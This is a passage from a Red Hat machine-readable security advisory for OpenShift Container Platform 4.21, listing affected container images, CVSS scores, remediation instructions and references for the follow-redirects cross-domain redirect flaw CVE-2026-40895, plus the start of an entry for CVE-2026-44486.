"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2460297"
},
{
"category": "external",
"summary": "https://www.cve.org/CVERecord?id=CVE-2026-40895",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40895"
},
{
"category": "external",
"summary": "https://nvd.nist.gov/vuln/detail/CVE-2026-40895",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-40895"
},
{
"category": "external",
"summary": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653",
"url": "https://github.com/follow-redirects/follow-redirects/security/advisories/GHSA-r4q5-vmmm-2653"
}
],
"release_date": "2026-04-21T19:59:59.759000+00:00",
"remediations": [
{
"category": "vendor_fix",
"date": "2026-06-23T08:24:00+00:00",
"details": "For OpenShift Container Platform 4.21 see the following documentation, which will be updated shortly for this release, for important instructions on how to upgrade your cluster and fully apply this asynchronous errata update:\n\nhttps://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html/release_notes/\n\nYou may download the oc tool and use it to inspect release image metadata for x86_64, s390x, ppc64le, and aarch64 architectures. The image digests may be found at https://quay.io/repository/openshift-release-dev/ocp-release?tab=tags.\n\nThe sha values for the release are as follows:\n\n (For x86_64 architecture)\n The image digest is sha256:7224f77afb20aedaf82bfc13ca11699689bd5b06795d6d1740dbd4c265150c44\n\n (For s390x architecture)\n The image digest is sha256:73811451efed403727e561f1ffadc1936c71bbefbae526fcea86a88fe23473f2\n\n (For ppc64le architecture)\n The image digest is sha256:05cb0b4804507c0b5e7923b7c6bcf293bd4e2d0f476c8ec6d13b179eb3157b42\n\n (For aarch64 architecture)\n The image digest is sha256:fd193bcd1042c3f17c33e7668d7b9866b915ac07075e6c2e35b0fe396bfd9a51\n\nAll OpenShift Container Platform 4.21 users are advised to upgrade to these updated packages and images when they are available in the appropriate release channel. To check for available updates, use the OpenShift CLI (oc) or web console. Instructions for upgrading a cluster are available at https://docs.redhat.com/en/documentation/openshift_container_platform/4.21/html-single/updating_clusters/index#updating-cluster-cli.",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64"
],
"restart_required": {
"category": "none"
},
"url": "https://access.redhat.com/errata/RHSA-2026:27044"
}
],
"scores": [
{
"cvss_v3": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 7.5,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "NONE",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"version": "3.1"
},
"products": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:4ae1938d0303894656d6d0aa0923fe88785632ee55e0ed46553a54ace495cd10_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:664d9b418f753e8cdbafb0d22f97bb8c0b2097b4d749ea87bf340cc4cb732b09_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:6e4184f47fcf6e187f4c7fac3f1058d575235ca8ec8a118434526ae4a90a9ac8_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:0bab4308f7c309a814f712e39607196d35b40db9dd4616a5d9cca862dd9bebc6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:1ff44c8741a46e16c5511cb5d4fea1706578ff9aa4115481b018b145d1e90aca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:366ab14ae5460ad0052c556eb30665873a0eb5e164674b56292dd8af70d74807_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-haproxy-router-rhel9@sha256:75daf2f2d96d1122e7f6b8fcab558c5d147d812e418107c0b2c16d1b80aa8c59_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:1709dde712ec24c1f771a0bbdf70a2fe298b911c8528a2dc9eef2ab258d36788_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:3b3ef5d55fb3f63ca291717035f5e076b2bd14921d58be0abd399f590be69de0_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:6138073a9b3c5f26146fdacc429b1be38555c25f9cb0934fdfedeedd962e514c_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-artifacts-rhel9@sha256:c14387a983d59f6c8a62e6591e162019c46902bd4bddf922d03e7bcfd16f7c9c_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:0aa5ce159112edf887a68bac028b860f0087344bae6773c0707421fe94efbf83_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:13b892be223845edeedb6df843edc3c84539c0f7b5849cfbdf1431e891f4d387_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:3eb2cd4352f5f3110a6234c599e8ed2e1f028505294043513d8fda46cb30f511_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-installer-rhel9@sha256:936b7bc4d391f06895399ee89aa43b02316e79cf8436fab198c0e485165ff92c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:591d0e9a58fbb78cc9bd3a5d2794f4947d1277e2b7ff856ff26c92a15b54ef5d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-agent-rhel9@sha256:93b12271a9cbb5386c49bde23a4fd0c418410ade915b89501b67976638f1b394_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:8106794a91fc7f08da90c997df3f00b9044782e81b6cda20580b17367588df15_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-machine-os-downloader-rhel9@sha256:f6ddc9d891309a979c07a9d2462fcaa62af6912a1cbb8f986e678c79b29d7b2e_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:6a4410c46718fe6010fad0d6c6b578a2347e61c687da6fa8e6f9220c18085c38_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-ironic-rhel9@sha256:cb1bbd2c6ebdc80d0b55b9e24af9afe0e9147c0d56d4ccb2e06910c339aad92d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:4b531989cffbba08feb30500f836332f2ac5e05f67f5b0d3466344ca56844234_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:97e86b1ec0fb8c9320b643ceb46cee693d78059db2251e96ea48acbc3e8d77d4_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:b7d65cce3142f1e692c846b05a2cb737c1de760815dd003a4eb14c42bc381684_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-config-rhel9-operator@sha256:ce8035f8ddf2521152896e41e088e5f69ccb62db3ca6f3bff461b1fcfd002e66_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:1fa798e8929bf9ca5a0248df695a7bd9e4a9800fa3a49aa6c711f5460452303b_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:25649934df8b81bb967c2714cd0151acf22a59f0e1ba25f0f564803cf86a2c53_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:37e366676577cd3c67828c64542540ddbf1bd3866538841a844a34096ad4bc97_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-machine-os-images-rhel9@sha256:6d23762eeb123e9150385fd77695841aa2fbc22e0eafd5ccbd31b17b31d043ee_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:214a54e1cdab555aca4d89ba2ae3dd825cca158cb1d74271d1a21c5d385647d4_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:51cbcaa1d10ded9608c0b17dcb99d77786586edf4a5db92e8205075129ec6318_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:9dc9ccd011217972cef70a48af37278716c9ce47ed6d0a5d8686a3ac607c0a64_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-monitoring-plugin-rhel9@sha256:eda11e652e4e330f3cdd881504b4886fec1c7efb74be88252e3ac906a5964044_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:2cfba758f3448568e6f844a2c380de62c2d84d2d21c7033a91bab994994fb28d_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:62b9725f0852dfa627d030aee5dd8b3259e84a6f0087d3c970a08361b85ecc01_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:adb184389c661980ee1274a3eddf64221101465bc12c83895f981721508f18c3_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-networking-console-plugin-rhel9@sha256:dbf3bf45e958c3e521cd2f1965ed1f6eed1edc7ad1b2ce22be9930d9fdddf21f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:5c543b465d9c53c8f34458a00e7f74586d91333301770e21054ce7120fa0e8a1_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:a1602d42232b96a0a9ce2f8cf5a809e80e9a9f4752c6845342af7dbb94729070_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:d9cda770f446e132541a740719fda07af700f1ce372a608bde61fb84e42afa2d_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tests-rhel9@sha256:f680ee32b9ead50a2b09c43405f3e20763b99025ac3f2a186bf6aa56d41425c5_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:1bed594d53537de5cec4d21ec152a8cf769cbcc4a300c233331e79b62d2cfe31_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:6a1c00c60c999234bd4ccd8131ba9ea9d6875bdfb889dccf8db5948d41238110_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:a0192fc0b5ece7d29fe95bd1bcca4cfb98c3540fc0c7a365da6a0ddce097fa41_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-tools-rhel9@sha256:d3ee62e979e6dbfbb846eb60a52d8fa95bfa59a42ccca5cba925d2380c7f96b4_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-vsphere-problem-detector-rhel9@sha256:4117dc54a8f501a6bc579b22cc8ad5ad0360ba54bbe8c8453d11dbdac480f4f7_amd64"
]
}
],
"threats": [
{
"category": "impact",
"details": "Important"
}
],
"title": "follow-redirects: follow-redirects: Information disclosure via cross-domain redirects"
},
{
"cve": "CVE-2026-44486",
"cwe": {
"id": "CWE-201",
"name": "Insertion of Sensitive Information Into Sent Data"
},
"discovery_date": "2026-06-11T17:01:30.944384+00:00",
"flags": [
{
"label": "vulnerable_code_not_present",
"product_ids": [
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:061015f468b484041f552ddb246024c4b1475aba2be6b5ed529fdb5a1f2e323f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:b96ddf35d0e8a292d986e81420c93aa885fc455fcaf616a915491095b0caec0e_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:e21d39916b8a2d702c5adc1bcda18c7b6ddd3a9cfc09864e82c0cdf5188b301b_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/driver-toolkit-rhel9@sha256:f31992f179936b6b55311d2c673b09ed29a27baa8a28ece8859d6d04d09ad81e_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:989ff868950ddcfb8dbc15092118c85476be437177b29016e3d6e148c5523334_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:b560fc8b23c8d1a7e362ffe84a26413cf5c5be7bae673052f035319f0e76b188_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f1cfd18b9ae0ca40e40e0f941ae8d3215dbe7ba51e2bbd32310017e70eccffa5_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/network-tools-rhel9@sha256:f2031994576d4640f55cf0febf09b4f03ba9eaeaf433c1266a636a1fe2357de7_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:323728d967c18ee9d1c2aa15b1847d0d27cfeb23f75a5f9fa25ae469f35319cf_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:4b96564bdb684813b8fdc7f0257f5586bd3f2f15fa53afaa3a3139beaee71617_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:aa9d5a87e03a61bb8cffaf75b1ee9db23fd6232bc594e1b1152e796083778edd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-api-server-rhel9@sha256:ec6e3caaad9567c2c0e423880f2e7b15f45c8596ee792b784f7fcca05ea28f66_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:6bdbe43aebe603002314b78857288bfb37f5bf8cae3a96d0e6b378b53a277312_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:938e55ebf1d2297f018f1d67c0105d874c524fdbeb587b7f4901b06ca2e3be34_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:99158d48956d3c0ab7d7199136b2c342c49daba19a91d2755ef6ea42c3e23bc0_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-node-agent-rhel9@sha256:9eb40419d902bbcfac7032918098adc7e91db26ebd9a1ecdf294626352d5c4a0_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-ui-rhel9@sha256:14d3506a84c56ce94db20e3ed1763deb9f72d0febc1a7bb2c8c8c6edfb30c9cd_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:08681a7e9dae6792a5897594769beaf151bf52e489378a133886313f8dac398f_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:3fac643abb746b79b89a49fb5d762adac833e3265b83a832cedb3c7254ab6518_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:bd26beeab9ce22eab5cde362ac3610fb83c24d5525075363c50131e8000eb5e8_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-agent-installer-utils-rhel9@sha256:d0095c609b0c0dc6be36865e426e6c97c1793e282ccb150daf5eaea326cc03db_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:387e994a39948184388421bc4e2bfdfd604ebb18b0e3fbb209b256ac03cc944f_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-azure-file-csi-driver-rhel9@sha256:865891f674c073eb479be00ea69d4a24546dea11bf1e123b3358dc0dad2836c6_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:5d815836e31186ee2438933286395b35c6043986a1c55496f6314dc0aa796ccb_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:677b973d8853977b513318ec5acc866a8ff7adbc6c27f02e3f2b3de946104d57_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:98c8e94df91ff429ac6b104ac3fbd345273f0bcdcd929f2e38bc64aac6c2b1fd_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-baremetal-installer-rhel9@sha256:af29610cf522f1952006878a267b7bc8c624b0ba975da5bbf8c3b84c23c72d98_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:14b84478be017b16f2c699ab6248450a9f8862313fc4ef38c23b5ae7bbbd27c5_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:155201b7a38a18f69000651e3b0ecdcb19815fb0bfe2f7971b7b49b7a626ac5c_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:9628fc8b3effe793a58cc83f47d8260cbfede603bdbaabd5f4fa78c410f77d57_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-config-api-rhel9@sha256:f879e563271c2bf9c4897a5011e6d153fee9085b93cd1dff3d6ae1ce78db1fca_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:09c3b1dab5e555137dccb0a932b329f64067caf6e3706843b7268d6083ef0854_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5786d42ae90f710ca41c9cb0dc318fd7a3c40c8a49c922ad5c57fe98d15deb03_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:5e9e2ec5df31d1d37c3faba01952b21b974a3dce50a6bba6b35dd450d1f75fd7_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-ingress-rhel9-operator@sha256:e082034afc446c8bb29c7aeac67ded281d931695af8f9dae1fd03ef5c4342252_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:9ce038b5fb35619ac1d518bb904d973a87e54a030bf3350f653d84095d701fea_ppc64le",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c25cf4db4e05f4759b45b7b46d551396627f6c8b72c62168ad1d9d560f016e1b_s390x",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:c8945cfb5c06ce3c0a6b0af2ee6c833a14c2a51c05901a8f18aec232e1705567_amd64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-cluster-node-tuning-rhel9-operator@sha256:e3be367267b6667ac1429e9f8dd26835aefa03b22a1dad51a8116ac41ee91e84_arm64",
"Red Hat OpenShift Container Platform 4.21:registry.redhat.io/openshift4/ose-console-rhel9@sha256:3c78e7b587d9a96d61d64c1a6a09340978d2a075cc34019e45763a7f94d3c7bb_arm64",
